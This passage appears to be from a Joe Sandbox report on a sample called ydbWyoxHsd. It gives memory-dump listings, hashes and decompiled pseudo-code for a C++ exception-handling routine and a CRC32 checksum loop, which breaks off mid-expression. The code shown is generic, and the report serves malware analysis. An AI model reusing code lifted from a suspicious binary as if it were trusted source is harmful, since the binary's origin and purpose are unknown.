0x1000a0bd
0x1000a0be
0x1000a0be
0x1000a0bf
0x1000a0bf
0x00000000
0x1000a0bf
0x1000a00f
0x1000a010
0x1000a011
0x1000a013
0x1000a014
0x1000a015
0x1000a016
0x1000a07d
0x1000a07d
0x00000000
0x1000a07d
0x1000a018
0x1000a019
0x1000a01a
0x1000a01b
0x1000a01d
0x1000a020
0x1000a021
0x1000a022
0x00000000
0x00000000
0x1000a024
0x1000a025
0x1000a02d
0x1000a02f
0x00000000
0x00000000
0x1000a031
0x1000a032
0x1000a03a
0x1000a03c
0x00000000
0x00000000
0x1000a03e
0x1000a03e
0x1000a03f
0x00000000
0x00000000
0x1000a041
0x00000000
0x00000000
0x1000a044
0x1000a046
0x1000a046
0x1000a047
0x00000000
0x00000000
0x1000a049
0x1000a04a
0x00000000
0x00000000
0x1000a04c
0x1000a04d
0x00000000
0x00000000
0x1000a04f
0x1000a052
0x00000000
0x00000000
0x1000a054
0x1000a056
0x1000a056
0x1000a057
0x00000000
0x00000000
0x1000a059
0x1000a05a
0x00000000
0x00000000
0x1000a05c
0x1000a05d
0x1000a062
0x1000a064
0x1000a065
0x1000a067
0x00000000
0x00000000
0x1000a06a
0x1000a06b
0x1000a073
0x1000a074
0x1000a076
0x00000000
0x00000000
0x1000a078
0x1000a079
0x1000a07a
0x1000a07c
0x1000a07c
0x00000000

Memory Dump Source

Source File: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c6bf69822eac6b830ca79bd8aa822a2bdc975307204309b6f2717228ea8c76
Instruction ID: 2cfc5345daabf68f9236a07c6fefbb052d29bc9f4a34cefdd33b5aea12e150e6
Opcode Fuzzy Hash: e7c6bf69822eac6b830ca79bd8aa822a2bdc975307204309b6f2717228ea8c76
Instruction Fuzzy Hash: 7322767284E7C14FE743CB344A655917FB1EF13294B1A42DBC4C28E0BBE21A5D8AC762

Uniqueness

Uniqueness Score: -1.00%

Function 00408B60 Relevance: .3, Instructions: 320
COMMONCrypto

Download Yara Rule

C-Code - Quality: 63%

			E00408B60(int __ebx, signed int __edi, signed int __esi, intOrPtr _a4, signed int _a8, signed int _a12, signed int _a16, char _a20, signed int _a24) {
				char _v28;
				signed int _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v52;
				char _v60;
				signed int* _v72;
				intOrPtr _v76;
				char _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				signed int _v104;
				signed int _v108;
				char _v112;
				char _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				intOrPtr* _v144;
				intOrPtr _v148;
				signed int _v152;
				intOrPtr _v156;
				signed int _v160;
				char _v164;
				signed int _v168;
				signed int _v172;
				char _v173;
				char _v174;
				signed int _v180;
				char _v184;
				signed int _v196;
				signed int _v200;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				char _v232;
				intOrPtr _v272;
				intOrPtr* _v292;
				intOrPtr _v296;
				char* _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v324;
				signed int _v328;
				char _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				signed int _v368;
				signed int _v372;
				signed int _t215;
				signed int _t223;
				void* _t234;
				signed int _t240;
				signed int _t246;
				signed int _t249;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t260;
				signed int _t266;
				intOrPtr _t280;
				void* _t286;
				char _t287;
				intOrPtr _t290;
				signed int _t291;
				intOrPtr _t300;
				signed int _t306;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed int _t319;
				signed int _t320;
				signed int _t323;
				signed int _t324;
				signed int _t329;
				signed int _t331;
				intOrPtr _t385;
				signed int _t398;
				signed int _t402;
				int _t406;
				char* _t408;
				void* _t410;
				signed int* _t411;
				intOrPtr* _t413;
				signed int* _t414;
				intOrPtr _t420;

				_t402 = __esi;
				_t398 = __edi;
				_t324 = __ebx;
				_push(__edi);
				_push(__esi);
				_t411 = _t410 - 0xbc;
				_v72 = _t411;
				_v80 =  &_v28;
				_v88 = E00408B60;
				_v84 = 0x40c51c;
				_v76 = 0x409029;
				 *_t411 =  &_v112;
				E0040B460(__ebx, __edi, __esi, __ebx);
				_v140 = 3;
				_t215 = _a20 + 0x20;
				_v144 = _a20 - 0x30;
				_v132 = _t215;
				if(_a4 != 1) {
					L18:
					 *_t411 =  &_v112;
					E0040B540(_t324);
					return _v140;
				} else {
					_t417 = _a8 - 6;
					_t329 = _a16 ^ 0x474e5543;
					if((((_a12 ^ 0x432b2b00 | _t329) & 0xffffff00 | _a8 == 0x00000006) & (_t215 & 0xffffff00 | _t417 == 0x00000000)) != 0) {
						_v168 =  *((intOrPtr*)(_v144 + 0x18));
						_v148 =  *((intOrPtr*)(_v144 + 0x20));
						_t223 =  *((intOrPtr*)(_v144 + 0x24));
						__eflags = _t223 - 1;
						_v160 = _t223;
						asm("sbb ecx, ecx");
						_t331 = (_t329 & 0xfffffffe) + 3;
						__eflags = _t331;
						goto L13;
					} else {
						 *_t411 = _a24;
						_v108 = 0xffffffff;
						_t280 = E0040B660();
						_v148 = _t280;
						_v140 = 8;
						if(_t280 == 0) {
							goto L18;
						} else {
							_v108 = 0xffffffff;
							_t398 = 0;
							_t402 = 0;
							_v156 = E00408940(_a24,  &_v60, _t280);
							_t324 = 0;
							_v52 = E00408730(_v40 & 0x000000ff, _a24);
							 *_t411 = _a24;
							_t286 = E0040B630();
							_v160 = 0;
							_t287 = _t286 - 1;
							_v164 = _t287;
							_t420 = _t287;
							_v152 = 0;
							_v168 = 0;
							_v140 = 8;
							if(_t420 < 0) {
								goto L18;
							} else {
								if(_t420 != 0) {
									do {
										_v156 = E004087B0(_v156,  &_v116);
										_t290 = E004087B0(_t289,  &_v120);
										_t95 =  &_v164;
										 *_t95 = _v164 - 1;
										__eflags =  *_t95;
										_v156 = _t290;
									} while ( *_t95 != 0);
									_t291 = _v120;
									_v160 = _v116 + 1;
									__eflags = _t291;
									if(_t291 != 0) {
										_t323 = _t291 + _v44 - 1;
										__eflags = _t323;
										_v152 = _t323;
									}
									_t331 = 0;
									__eflags = _v160;
									if(_v160 != 0) {
										_t331 = 2;
										__eflags = _v152;
										if(_v152 != 0) {
											__eflags = _a8 & 0x00000008;
											_v173 = 0;
											_v174 = 0;
											if((_a8 & 0x00000008) == 0) {
												__eflags = _a16 ^ 0x474e5543 | _a12 ^ 0x432b2b00;
												if((_a16 ^ 0x474e5543 | _a12 ^ 0x432b2b00) != 0) {
													goto L25;
												} else {
													_t306 =  *_v144;
													goto L26;
												}
												L36:
												__eflags = _v174;
												if(_v174 == 0) {
													__eflags = _v173 - 1;
													asm("sbb ecx, ecx");
													_t331 =  !_t331 & 0x00000002;
												} else {
													_t331 = 3;
													_v168 = _v124;
												}
												goto L6;
											} else {
												L25:
												_t306 = 0;
												__eflags = 0;
											}
											L26:
											_v172 = _t306;
											while(1) {
												_v156 = E00408800(_v152,  &_v124);
												E00408800(_t308,  &_v128);
												_t310 = _v124;
												__eflags = _t310;
												if(__eflags == 0) {
													goto L27;
												}
												if(__eflags <= 0) {
													_t402 = _v172;
													__eflags = _t402;
													if(_t402 == 0) {
														_t324 = _v48;
														E004087B0( !_t310 + _t324,  &_v136);
														_t331 = _v136;
														__eflags = _t331;
													} else {
														_t331 = _v132;
														 *_t411 = _t310;
														_v108 = 0xffffffff;
														__eflags = E00408B00( &_v60, _t331, _v172);
													}
													if(__eflags != 0) {
														goto L28;
													} else {
														goto L35;
													}
												} else {
													_t319 = E00408A10( &_v60, _t310);
													__eflags = _t319;
													if(_t319 == 0) {
														L35:
														_v174 = 1;
													} else {
														_t398 = _v172;
														__eflags = _t398;
														if(_t398 == 0) {
															L28:
															_t311 = _v128;
															__eflags = _t311;
															if(_t311 != 0) {
																_t312 = _t311 + _v156;
																__eflags = _t312;
																_v152 = _t312;
																continue;
															}
														} else {
															_v108 = 0xffffffff;
															_t331 =  &_v132;
															_t320 = E00408A90(_t319, _t324, _t331, _v172, _t398, _t402);
															__eflags = _t320;
															if(_t320 == 0) {
																goto L28;
															} else {
																goto L35;
															}
														}
													}
												}
												goto L36;
												L27:
												_v173 = 1;
												goto L28;
											}
										}
									}
								} else {
									_t331 = 1;
								}
								L6:
								_v140 = 8;
								if(_t331 == 0) {
									goto L18;
								} else {
									if((_a8 & 0x00000001) == 0) {
										L13:
										__eflags = _a8 & 0x00000008;
										if((_a8 & 0x00000008) != 0) {
											L15:
											__eflags = _t331 == 1;
											if(_t331 == 1) {
												_v108 = 0xffffffff;
												E0040A430();
												goto L50;
											} else {
												__eflags = _v168;
												if(_v168 < 0) {
													L50:
													_v108 = 2;
													E0040A460(_t398);
													_t406 =  &_a20;
													__eflags = _v108 - 1;
													_v180 = _v104;
													if(_v108 != 1) {
														_v108 = 0;
														E0040ACE0(_t324, _t402);
														 *_t411 = _v180;
														_v108 = 0xffffffff;
														E0040BB20(_t324, _t398, _t402);
														goto L52;
													}
													goto L53;
												} else {
													goto L17;
												}
											}
										} else {
											__eflags = _a16 ^ 0x474e5543 | _a12 ^ 0x432b2b00;
											if((_a16 ^ 0x474e5543 | _a12 ^ 0x432b2b00) == 0) {
												__eflags = _t331 == 1;
												if(_t331 == 1) {
													L52:
													_t260 = _v144 + 0x30;
													__eflags = _t260;
													 *_t411 = _t260;
													E0040ABD0(_t324, _t398, _t402);
													 *_t411 =  *(_v144 + 0xc);
													_v108 = 0xffffffff;
													E0040A3D0(_t324, _t398, _t402);
													L53:
													 *_t411 = _v180;
													E0040ABD0(_t324, _t398, _t402);
													_v108 = 1;
													E0040A430();
													_t413 = _t411 - 0xa8;
													_v300 =  &_v232;
													 *_t413 =  &_v332;
													_v220 = _t324;
													_v216 = _t402;
													_v212 = _t398;
													_v308 = E00408B60;
													_v304 = 0x40c52c;
													_v296 = 0x409120;
													_v292 = _t413;
													E0040B460(_t324, _t398, _t402, _t406);
													 *_t413 = _v200;
													E0040ABD0(_t324, _t398, _t402);
													_t234 = _v200 - 0x30;
													_v336 =  *((intOrPtr*)(_t234 + 0x20));
													_v340 =  *((intOrPtr*)(_t234 + 0x18));
													_v344 =  *((intOrPtr*)(_t234 + 0xc));
													_v328 = 2;
													_v272 =  *((intOrPtr*)(_t234 + 0x24));
													 *_t413 =  *((intOrPtr*)(_t234 + 8));
													L0040A450(_t398);
													_t408 =  &_v184;
													__eflags = _v328 - 1;
													_v348 = _v324;
													if(_v328 != 1) {
														_v128 = 0;
														E0040ACE0(_t324, _t402);
														_v128 = 0;
														E0040ACE0(_t324, _t402);
														_v128 = 0xffffffff;
														 *_t413 = _v148;
														E0040BB20(_t324, _t398, _t402);
													}
													 *_t413 = _v148;
													E0040ABD0(_t324, _t398, _t402);
													_t240 =  *((intOrPtr*)(E0040A900(_t324, _t398, _t402)));
													_v128 = 1;
													_v152 = _t240;
													_v156 = _t240 + 0x50;
													E00408940(0,  &_v80, _v136);
													 *_t413 = _v140;
													_t246 = E00408B00( &_v80, _v156,  *_v152);
													__eflags = _t246;
													if(_t246 != 0) {
														L59:
														E0040A580();
													} else {
														_v128 = 1;
														 *_t413 = _v140;
														_t251 = E00408B00( &_v80, 0, 0x4132c0);
														__eflags = _t251;
														if(_t251 != 0) {
															 *_t413 = 4;
															_t252 = E0040A600(_t324, _t398, _t402);
															_t402 = E0040A370;
															_t324 = 0x4132c0;
															 *_t252 = 0x4134f4;
															_v368 = E0040A370;
															_v372 = 0x4132c0;
															 *_t413 = _t252;
															E0040A510();
															goto L59;
														}
													}
													_v128 = 1;
													 *_t413 = _v144;
													E0040A3D0(_t324, _t398, _t402);
													0;
													0;
													_push(_t408);
													_t414 = _t413 - 8;
													_t249 = _v372;
													__eflags = _t249;
													if(_t249 != 0) {
														 *_t414 = _t249;
														L0040C1C8();
														return _t249;
													}
													return _t249;
												} else {
													__eflags = _v168;
													if(_v168 < 0) {
														_v108 = 0xffffffff;
														E00408940(_a24,  &_v60, _v148);
														 *((intOrPtr*)(_v144 + 0x24)) = E00408730(_v40 & 0x000000ff, _a24);
													}
													L17:
													_v200 = 0;
													_t324 = 7;
													_t266 = _v144 + 0x30;
													__eflags = _t266;
													_v196 = _t266;
													 *_t411 = _a24;
													_v108 = 0xffffffff;
													E0040B610();
													_v200 = 1;
													_v196 = _v168;
													 *_t411 = _a24;
													E0040B610();
													_v200 = _v160;
													 *_t411 = _a24;
													E0040B640();
													_v140 = 7;
													goto L18;
												}
											} else {
												goto L15;
											}
										}
									} else {
										if(_t331 == 2) {
											goto L18;
										} else {
											if((_a16 ^ 0x474e5543 | _a12 ^ 0x432b2b00) == 0) {
												_t300 = _v144;
												 *(_t300 + 0x18) = _v168;
												 *(_t300 + 0x1c) = _v152;
												 *((intOrPtr*)(_t300 + 0x20)) = _v148;
												_t385 = _v144;
												 *(_t385 + 0x28) = _v132;
												 *(_t385 + 0x24) = _v160;
											}
											_v140 = 6;
											 *_t411 =  &_v112;
											E0040B540(_t324);
											return _v140;
										}
									}
								}
							}
						}
					}
				}
			}

0x00408b60
0x00408b60
0x00408b60
0x00408b66
0x00408b67
0x00408b69
0x00408b6f
0x00408b72
0x00408b78
0x00408b7f
0x00408b86
0x00408b8d
0x00408b90
0x00408ba0
0x00408ba9
0x00408bb0
0x00408bb6
0x00408bb9
0x00408def
0x00408df2
0x00408df5
0x00408e0a
0x00408bbf
0x00408bbf
0x00408bd2
0x00408bdf
0x00408d32
0x00408d3e
0x00408d44
0x00408d47
0x00408d4a
0x00408d50
0x00408d55
0x00408d55
0x00000000
0x00408be5
0x00408be8
0x00408beb
0x00408bf2
0x00408bf7
0x00408c04
0x00408c0a
0x00000000
0x00408c10
0x00408c10
0x00408c1f
0x00408c21
0x00408c28
0x00408c32
0x00408c3c
0x00408c42
0x00408c45
0x00408c4a
0x00408c50
0x00408c56
0x00408c5c
0x00408c5e
0x00408c64
0x00408c6a
0x00408c70
0x00000000
0x00408c76
0x00408c76
0x00408e10
0x00408e1e
0x00408e27
0x00408e2c
0x00408e2c
0x00408e2c
0x00408e32
0x00408e32
0x00408e3d
0x00408e41
0x00408e47
0x00408e49
0x00408e50
0x00408e50
0x00408e51
0x00408e51
0x00408e5d
0x00408e5f
0x00408e61
0x00408e6d
0x00408e72
0x00408e74
0x00408e7a
0x00408e7e
0x00408e85
0x00408e8c
0x00408f98
0x00408f9a
0x00000000
0x00408fa0
0x00408fa6
0x00000000
0x00408fa6
0x00408f1d
0x00408f1d
0x00408f24
0x00408ffe
0x00409005
0x00409009
0x00408f2a
0x00408f2d
0x00408f32
0x00408f32
0x00000000
0x00408e92
0x00408e92
0x00408e92
0x00408e92
0x00408e92
0x00408e94
0x00408e94
0x00408ebc
0x00408eca
0x00408ed3
0x00408ed8
0x00408edb
0x00408edd
0x00000000
0x00000000
0x00408edf
0x00408fb0
0x00408fb6
0x00408fb8
0x00408fe2
0x00408fef
0x00408ff4
0x00408ffa
0x00408fba
0x00408fba
0x00408fbd
0x00408fc6
0x00408fd5
0x00408fd5
0x00408fd7
0x00000000
0x00408fdd
0x00000000
0x00408fdd
0x00408ee5
0x00408eea
0x00408eef
0x00408ef1
0x00408f16
0x00408f16
0x00408ef3
0x00408ef3
0x00408ef9
0x00408efb
0x00408ea7
0x00408ea7
0x00408eaa
0x00408eac
0x00408eb4
0x00408eb4
0x00408eb6
0x00000000
0x00408eb6
0x00408efd
0x00408efd
0x00408f0a
0x00408f0d
0x00408f12
0x00408f14
0x00000000
0x00000000
0x00000000
0x00000000
0x00408f14
0x00408efb
0x00408ef1
0x00000000
0x00408ea0
0x00408ea0
0x00000000
0x00408ea0
0x00408ebc
0x00408e74
0x00408c7c
0x00408c7c
0x00408c7c
0x00408c81
0x00408c88
0x00408c8e
0x00000000
0x00408c94
0x00408c98
0x00408d58
0x00408d58
0x00408d5c
0x00408d77
0x00408d77
0x00408d78
0x00409011
0x00409018
0x00000000
0x00408d7e
0x00408d84
0x00408d86
0x0040901d
0x0040901d
0x00409024
0x00409029
0x0040902c
0x00409033
0x00409039
0x0040903b
0x00409042
0x0040904d
0x00409050
0x00409057
0x00000000
0x00409057
0x00000000
0x00000000
0x00000000
0x00000000
0x00408d86
0x00408d5e
0x00408d6f
0x00408d71
0x00408f40
0x00408f41
0x0040905c
0x00409062
0x00409062
0x00409065
0x00409068
0x00409076
0x00409079
0x00409080
0x00409085
0x0040908b
0x0040908e
0x00409093
0x0040909a
0x004090a6
0x004090ac
0x004090b2
0x004090b5
0x004090b8
0x004090bb
0x004090be
0x004090c5
0x004090cc
0x004090d3
0x004090d6
0x004090de
0x004090e1
0x004090e9
0x004090ef
0x004090f5
0x004090fe
0x0040910a
0x00409111
0x00409114
0x00409117
0x00409120
0x00409123
0x0040912a
0x00409130
0x00409132
0x00409139
0x0040913e
0x00409145
0x0040914a
0x00409157
0x0040915a
0x0040915a
0x00409166
0x00409169
0x00409173
0x00409178
0x00409182
0x0040918b
0x00409193
0x004091aa
0x004091b2
0x004091b7
0x004091b9
0x0040920a
0x0040920a
0x004091bb
0x004091bb
0x004091cd
0x004091d5
0x004091da
0x004091dc
0x004091de
0x004091e5
0x004091ea
0x004091ef
0x004091f4
0x004091fa
0x004091fe
0x00409202
0x00409205
0x00000000
0x00409205
0x004091dc
0x0040920f
0x0040921c
0x0040921f
0x0040922a
0x0040922e
0x00409230
0x00409233
0x00409236
0x00409239
0x0040923b
0x0040923d
0x00409240
0x00000000
0x00409240
0x00409246
0x00408f47
0x00408f4d
0x00408f4f
0x00408f55
0x00408f68
0x00408f7f
0x00408f7f
0x00408d8c
0x00408d99
0x00408d9d
0x00408da2
0x00408da2
0x00408da5
0x00408dac
0x00408daf
0x00408db6
0x00408dc1
0x00408dc5
0x00408dcc
0x00408dcf
0x00408dda
0x00408de1
0x00408de4
0x00408de9
0x00000000
0x00408de9
0x00000000
0x00000000
0x00000000
0x00408d71
0x00408c9e
0x00408ca1
0x00000000
0x00408ca7
0x00408cba
0x00408cbc
0x00408cc8
0x00408cd1
0x00408cda
0x00408ce0
0x00408ce6
0x00408cef
0x00408cef
0x00408cf7
0x00408d00
0x00408d03
0x00408d18
0x00408d18
0x00408ca1
0x00408c98
0x00408c8e
0x00408c70
0x00408c0a
0x00408bdf

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: a82c55dfd39a0c610aa2bb486ca2b702f981955c47fa771b32c863d3c877bdfa
Instruction ID: fb9014d8d90ad197938c66955a6f40d0fed81886d76c48f73c17b708fb267f63
Opcode Fuzzy Hash: a82c55dfd39a0c610aa2bb486ca2b702f981955c47fa771b32c863d3c877bdfa
Instruction Fuzzy Hash: 8AE1FD74A003198FDB24DF65C98079EBBB1BF44314F1486AED898AB381DB389D85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00408054 Relevance: .1, Instructions: 102
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00408054(signed int _a4, signed char* _a8, intOrPtr _a12) {
				signed char* _t61;
				signed char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed char* _t65;
				signed char* _t66;
				signed char* _t67;
				signed char* _t68;
				signed int _t69;
				signed char _t70;
				intOrPtr _t98;

				_t69 = _a4;
				_t61 = _a8;
				_t98 = _a12;
				if(_t61 != 0) {
					_t70 =  !_t69;
					if(_t98 <= 7) {
						L4:
						if(_t98 == 0) {
							L7:
							return  !_t70;
						}
						do {
							_t70 = _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4);
							_t61 =  &(_t61[1]);
							_t98 = _t98 - 1;
						} while (_t98 != 0);
						goto L7;
					}
					do {
						_t62 =  &(_t61[1]);
						_t63 =  &(_t62[1]);
						_t64 =  &(_t63[1]);
						_t65 =  &(_t64[1]);
						_t66 =  &(_t65[1]);
						_t67 =  &(_t66[1]);
						_t68 =  &(_t67[1]);
						_t70 = (((((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t66 & 0x000000ff ^ ((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t65 & 0x000000ff ^ (((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t67 & 0x000000ff ^ (((((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t63 & 0x000000ff ^ (_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t62 & 0x000000ff ^ _t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 0x000000ff ^ _t70) & 0x000000ff) * 4)) & 0x000000ff) * 4)) & 0x000000ff) * 4)) >> 0x00000008 ^  *(0x412d60 + (( *_t64 & 0x000000ff ^ ((_t70 >> 0x00000008 ^  *(0x412d60 + (( *_t61 & 